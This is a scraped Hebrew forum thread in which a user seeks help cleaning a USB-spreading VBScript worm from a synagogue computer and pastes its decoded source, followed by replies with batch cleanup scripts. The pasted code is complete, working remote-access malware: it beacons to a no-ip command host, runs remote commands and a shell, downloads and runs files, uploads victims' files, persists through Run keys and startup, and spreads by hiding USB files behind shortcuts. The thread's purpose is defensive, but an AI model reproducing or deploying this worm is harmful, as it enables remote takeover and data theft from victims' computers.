              set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
              set installfullnameshort =  filesystemobj.getfile (installdir & installname)
              if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                  wscript.quit 
              end If
              err.clear
              set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
              if  err.number > 0 then wscript.quit
              end function
              
              sub sitedownloader (fileurl,filename)
              
              strlink = fileurl
              strsaveto = installdir & filename
              set objhttpdownload = createobject("msxml2.xmlhttp" )
              objhttpdownload.open "get", strlink, false
              objhttpdownload.send
              
              set objfsodownload = createobject ("scripting.filesystemobject")
              if  objfsodownload.fileexists (strsaveto) then
                  objfsodownload.deletefile (strsaveto)
              end if
               
              if objhttpdownload.status = 200 then
                 dim  objstreamdownload
                 set  objstreamdownload = createobject("adodb.stream")
                 with objstreamdownload
                      .type = 1 
                      .open
                      .write objhttpdownload.responsebody
                      .savetofile strsaveto
                      .close
                 end with
                 set objstreamdownload = nothing
              end if
              if objfsodownload.fileexists(strsaveto) then
                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
              end if 
              end sub
              
              sub download (fileurl,filedir)
              
              if filedir = "" then 
                 filedir = installdir
              end if
              
              strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
              set objhttpdownload = createobject("msxml2.xmlhttp")
              objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
              objhttpdownload.send ""
                   
              set objfsodownload = createobject ("scripting.filesystemobject")
              if  objfsodownload.fileexists (strsaveto) then
                  objfsodownload.deletefile (strsaveto)
              end if
              if  objhttpdownload.status = 200 then
                  dim  objstreamdownload
                  set  objstreamdownload = createobject("adodb.stream")
                  with objstreamdownload 
                       .type = 1 
                       .open
                       .write objhttpdownload.responsebody
                       .savetofile strsaveto
                       .close
                  end with
                  set objstreamdownload  = nothing
              end if
              if objfsodownload.fileexists(strsaveto) then
                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
              end if 
              end sub
              
              function upload (fileurl)
              
              dim  httpobj,objstreamuploade,buffer
              set  objstreamuploade = createobject("adodb.stream")
              with objstreamuploade 
                   .type = 1 
                   .open
                   .loadfromfile fileurl
                   buffer = .read
                   .close
              end with
              set objstreamdownload = nothing
              set httpobj = createobject("msxml2.xmlhttp")
              httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
              httpobj.send buffer
              end function
              
              function enumdriver ()
              
              for  each drive in filesystemobj.drives
              if   drive.isready = true then
                   enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
              end if
              next
              end Function
              
              function enumfaf (enumdir)
              
              enumfaf = enumdir & spliter
              for  each folder in filesystemobj.getfolder (enumdir).subfolders
                   enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
              next
              
              for  each file in filesystemobj.getfolder (enumdir).files
                   enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
              
              next
              end function
              
              function enumprocess ()
              
              on error resume next
              
              set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
              set colitems = objwmiservice.execquery("select * from win32_process",,48)
              
              dim objitem
              for each objitem in colitems
                  enumprocess = enumprocess & objitem.name & "|"
                  enumprocess = enumprocess & objitem.processid & "|"
                  enumprocess = enumprocess & objitem.executablepath & spliter
              next
              end function
              
              sub exitprocess (pid)
              on error resume next
              
              shellobj.run "taskkill /F /T /PID " & pid,7,true
              end sub
              
              sub deletefaf (url)
              on error resume next
              
              filesystemobj.deletefile url
              filesystemobj.deletefolder url
              
              end sub
              
              function cmdshell (cmd)
              
              dim httpobj,oexec,readallfromany
              
              set oexec = shellobj.exec ("%comspec% /c " & cmd)
              if not oexec.stdout.atendofstream then
                 readallfromany = oexec.stdout.readall
              elseif not oexec.stderr.atendofstream then
                 readallfromany = oexec.stderr.readall
              else 
                 readallfromany = ""
              end if
              
              cmdshell = readallfromany
              end function
              
              cfopuserC מנותק
              cfopuserC מנותק
              cfopuser
              כתב נערך לאחרונה על ידי cfopuser
              #7

              עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

              (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
              ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
              אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

              מתכנת חובבמ תגובה 1 תגובה אחרונה
              1
              • cfopuserC cfopuser

                עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

                (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
                ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
                אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

                מתכנת חובבמ מנותק
                מתכנת חובבמ מנותק
                מתכנת חובב
                מדריכים
                כתב נערך לאחרונה על ידי מתכנת חובב
                #8

                @cfopuser הוא לא יטפל בזה
                עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
                מה- startup הוא מנקה רק את אלו

                for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
                    if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
                

                כנ"ל מהרגיסטרי

                ::Clean Registry / Startup
                For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
                	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
                		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
                			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
                			)
                		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                			reg delete %%~P /v "%%~A" /f		
                			)
                		reg query %%~P /s
                		)
                	)
                for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
                	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
                		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
                	)
                	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                		reg delete %%~P /v "%%~A" /f
                		)
                	reg query %%~P /s
                	)
                

                וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

                ::internal drives
                for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
                	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
                		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
                		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
                		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
                		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
                		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
                		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
                		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
                		)
                	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                		attrib -s -h -r "%%X\%%A"
                		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
                		)
                	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
                		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
                			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
                			)
                		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
                			attrib -s -h -r "%%X\%%D\%%A"
                			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
                			)
                		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
                		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
                		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
                		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
                		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
                		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
                		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
                		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
                		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
                		)
                	set "AutoHK.NAPd="
                	)
                

                המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                cfopuserC תגובה 1 תגובה אחרונה
                1
                • מתכנת חובבמ מתכנת חובב

                  @cfopuser הוא לא יטפל בזה
                  עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
                  מה- startup הוא מנקה רק את אלו

                  for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
                      if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
                  

                  כנ"ל מהרגיסטרי

                  ::Clean Registry / Startup
                  For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
                  	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
                  		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
                  			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
                  			)
                  		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                  			reg delete %%~P /v "%%~A" /f		
                  			)
                  		reg query %%~P /s
                  		)
                  	)
                  for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
                  	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
                  		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
                  	)
                  	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                  		reg delete %%~P /v "%%~A" /f
                  		)
                  	reg query %%~P /s
                  	)
                  

                  וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

                  ::internal drives
                  for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
                  	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
                  		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
                  		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
                  		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
                  		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
                  		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
                  		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
                  		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
                  		)
                  	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
                  		attrib -s -h -r "%%X\%%A"
                  		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
                  		)
                  	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
                  		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
                  			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
                  			)
                  		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
                  			attrib -s -h -r "%%X\%%D\%%A"
                  			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
                  			)
                  		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
                  		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
                  		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
                  		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
                  		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
                  		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
                  		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
                  		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
                  		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
                  		)
                  	set "AutoHK.NAPd="
                  	)
                  

                  המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                  cfopuserC מנותק
                  cfopuserC מנותק
                  cfopuser
                  כתב נערך לאחרונה על ידי
                  #9

                  @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                  או לכבות vbs דרך הריג'יסטרי.

                  מתכנת חובבמ תגובה 1 תגובה אחרונה
                  1
                  • cfopuserC cfopuser

                    @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                    או לכבות vbs דרך הריג'יסטרי.

                    מתכנת חובבמ מנותק
                    מתכנת חובבמ מנותק
                    מתכנת חובב
                    מדריכים
                    כתב נערך לאחרונה על ידי
                    #10

                    @cfopuser בשביל מה?
                    אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

                    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                    cfopuserC תגובה 1 תגובה אחרונה
                    0
                    • מתכנת חובבמ מתכנת חובב

                      @cfopuser בשביל מה?
                      אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

                      cfopuserC מנותק
                      cfopuserC מנותק
                      cfopuser
                      כתב נערך לאחרונה על ידי
                      #11

                      @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      @cfopuser בשביל מה?

                      לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                      מתכנת חובבמ תגובה 1 תגובה אחרונה
                      0
                      • ר רנדומלי

                        בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                        cmd /c hrxxryydxo.vbs && start explorer [file name]
                        

                        הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                        תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                        לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                        z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                        

                        בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                        לאחר פיענוח הקידוד התקבל הקוד הבא:
                        אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                        e
                        '<[ recoder : houdini (c) skype : houdini-fx ]>
                        
                        '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                        
                        host = "khattab.no-ip.biz"
                        port = 5550
                        installdir = "%temp%"
                        lnkfile = true
                        lnkfolder = true
                        
                        '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                        
                        dim shellobj 
                        set shellobj = wscript.createobject("wscript.shell")
                        dim filesystemobj
                        set filesystemobj = createobject("scripting.filesystemobject")
                        dim httpobj
                        set httpobj = createobject("msxml2.xmlhttp")
                        
                        '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                        
                        installname = wscript.scriptname
                        startup = shellobj.specialfolders ("startup") & "\"
                        installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                        if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                        spliter = "<" & "|" & ">"
                        sleep = 5000 
                        dim response
                        dim cmd
                        dim param
                        info = ""
                        usbspreading = ""
                        startdate = ""
                        dim oneonce
                        
                        '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                        on error resume next
                        
                        instance
                        while true
                        
                        install
                        
                        response = ""
                        response = post ("is-ready","")
                        cmd = split (response,spliter)
                        select case cmd (0)
                        case "excecute"
                              param = cmd (1)
                              execute param
                        case "update"
                              param = cmd (1)
                              oneonce.close
                              set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                              oneonce.write param
                              oneonce.close
                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                              wscript.quit 
                        case "uninstall"
                              uninstall
                        case "send"
                              download cmd (1),cmd (2)
                        case "site-send"
                              sitedownloader cmd (1),cmd (2)
                        case "recv"
                              param = cmd (1)
                              upload (param)
                        case  "enum-driver"
                              post "is-enum-driver",enumdriver  
                        case  "enum-faf"
                              param = cmd (1)
                              post "is-enum-faf",enumfaf (param)
                        case  "enum-process"
                              post "is-enum-process",enumprocess   
                        case  "cmd-shell"
                              param = cmd (1)
                              post "is-cmd-shell",cmdshell (param)  
                        case  "delete"
                              param = cmd (1)
                              deletefaf (param) 
                        case  "exit-process"
                              param = cmd (1)
                              exitprocess (param) 
                        case  "sleep"
                              param = cmd (1)
                              sleep = eval (param)        
                        end select
                        
                        wscript.sleep sleep
                        
                        wend
                        
                        sub install
                        on error resume next
                        dim lnkobj
                        dim filename
                        dim foldername
                        dim fileicon
                        dim foldericon
                        
                        upstart
                        for each drive in filesystemobj.drives
                        
                        if  drive.isready = true then
                        if  drive.freespace  > 0 then
                        if  drive.drivetype  = 1 then
                            filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                            if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                            end if
                            for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                if not lnkfile then exit for
                                if  instr (file.name,".") then
                                    if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                        file.attributes = 2+4
                                        if  ucase (file.name) <> ucase (installname) then
                                            filename = split(file.name,".")
                                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                            lnkobj.windowstyle = 7
                                            lnkobj.targetpath = "cmd.exe"
                                            lnkobj.workingdirectory = ""
                                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                            fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                            if  instr (fileicon,",") = 0 then
                                                lnkobj.iconlocation = file.path
                                            else 
                                                lnkobj.iconlocation = fileicon
                                            end if
                                            lnkobj.save()
                                        end if
                                    end if
                                end if
                            next
                            for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                if not lnkfolder then exit for
                                folder.attributes = 2+4
                                foldername = folder.name
                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                lnkobj.windowstyle = 7
                                lnkobj.targetpath = "cmd.exe"
                                lnkobj.workingdirectory = ""
                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                if  instr (foldericon,",") = 0 then
                                    lnkobj.iconlocation = folder.path
                                else 
                                    lnkobj.iconlocation = foldericon
                                end if
                                lnkobj.save()
                            next
                        end If
                        end If
                        end if
                        next
                        err.clear
                        end sub
                        
                        sub uninstall
                        on error resume next
                        dim filename
                        dim foldername
                        
                        shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                        shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                        filesystemobj.deletefile startup & installname ,true
                        filesystemobj.deletefile wscript.scriptfullname ,true
                        
                        for  each drive in filesystemobj.drives
                        if  drive.isready = true then
                        if  drive.freespace  > 0 then
                        if  drive.drivetype  = 1 then
                            for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                 on error resume next
                                 if  instr (file.name,".") then
                                     if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                         file.attributes = 0
                                         if  ucase (file.name) <> ucase (installname) then
                                             filename = split(file.name,".")
                                             filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                         else
                                             filesystemobj.deletefile (drive.path & "\" & file.name)
                                         end If
                                     else
                                         filesystemobj.deletefile (file.path) 
                                     end if
                                 end if
                             next
                             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                 folder.attributes = 0
                             next
                        end if
                        end if
                        end if
                        next
                        wscript.quit
                        end sub
                        
                        function post (cmd ,param)
                        
                        post = param
                        httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                        httpobj.setrequestheader "user-agent:",information
                        httpobj.send param
                        post = httpobj.responsetext
                        end function
                        
                        function information
                        on error resume next
                        if  inf = "" then
                            inf = hwid & spliter 
                            inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                            inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                        
                            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set os = root.execquery ("select * from win32_operatingsystem")
                            for each osinfo in os
                               inf = inf & osinfo.caption & spliter  
                               exit for
                            next
                            inf = inf & "plus" & spliter
                            inf = inf & security & spliter
                            inf = inf & usbspreading
                            information = inf  
                        else
                            information = inf
                        end if
                        end function
                        
                        sub upstart ()
                        on error resume Next
                        
                        shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                        filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                        filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                        
                        end sub
                        
                        function hwid
                        on error resume next
                        
                        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set disks = root.execquery ("select * from win32_logicaldisk")
                        for each disk in disks
                            if  disk.volumeserialnumber <> "" then
                                hwid = disk.volumeserialnumber
                                exit for
                            end if
                        next
                        end function
                        
                        function security 
                        on error resume next
                        
                        security = ""
                        
                        set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                        for each objitem in colitems
                            versionstr = split (objitem.version,".")
                        next
                        versionstr = split (colitems.version,".")
                        osversion = versionstr (0) & "."
                        for  x = 1 to ubound (versionstr)
                             osversion = osversion &  versionstr (i)
                        next
                        osversion = eval (osversion)
